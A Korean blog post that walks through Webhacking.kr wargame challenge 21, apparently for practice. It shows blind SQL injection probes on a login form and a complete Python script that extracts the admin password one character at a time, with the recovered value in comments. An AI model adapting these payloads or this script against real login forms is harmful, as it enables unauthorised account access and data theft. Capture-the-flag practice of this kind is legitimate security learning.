Webhacking.kr 21번 문제풀이

동스토리 ㅣ 2020. 12. 19. 10:54

반응형

안녕하세요.

 

웹 해킹 21번 문제풀이 하겠습니다.

 

 

Blind SQL INJECTION을 사용해서 문제를 풀 수 있을 거 같습니다.

Blind SQL INJECTION: 참과 거짓의 결과 값을 사용하여 DB구조를 알아내는 기법

 

1. id: guest / pw: guest -> login success

 

2.

id: guest / pw: ' or 1=1 # -> wrong password

id: guest / pw: ' or 1=2 # -> login fail

 

올바른 쿼리 값을 입력하면 "wrong password" 올바르지 않은 쿼리 값을 입력하면 "login fail"이 나오는 것을 볼 수 있다. 결국 우리는 참과 거짓의 결과 값이 다른 것을 보아 Blind SQL INJECTION을 시도할 수 있는 것을 알 수 있습니다.

 

 

 

Python 코드를 사용하여 admin 계정의 pw를 알아보겠습니다.(출처: donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-21-250)

 

import requests

URL = 'https://webhacking.kr/challenge/bonus-1/index.php?id=admin&pw='
TRUE_PHRASE = 'wrong password'


def query(payload):
    r = requests.get(URL + payload)
    content = r.text
    return TRUE_PHRASE in content

# 36
def find_pw_length():
    pw_len = 1
    while query("' or id='admin' and length(pw)={}%23".format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len

# there_is_no_rest_for_the_white_angel
def find_pw():
    pw_len = find_pw_length()
    pw = ''
    for pos in range(1, pw_len + 1):
        for character in range(0, 128):
            if query("' or id='admin' and ord(substr(pw,{},1))={}%23".format(pos, character)) is True:
                pw += chr(character)
                break
    print('pw: {}'.format(pw))

find_pw()

 

 

감사합니다.

 

 

반응형

'Hacking > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr 23번 문제풀이  (0) 2020.12.25
Webhacking.kr 22번 문제풀이  (0) 2020.12.21
Webhacking.kr 20번 문제풀이  (0) 2020.12.09
Webhacking.kr 19번 문제풀이  (0) 2020.12.07
Webhacking.kr 18번 문제풀이  (0) 2020.12.06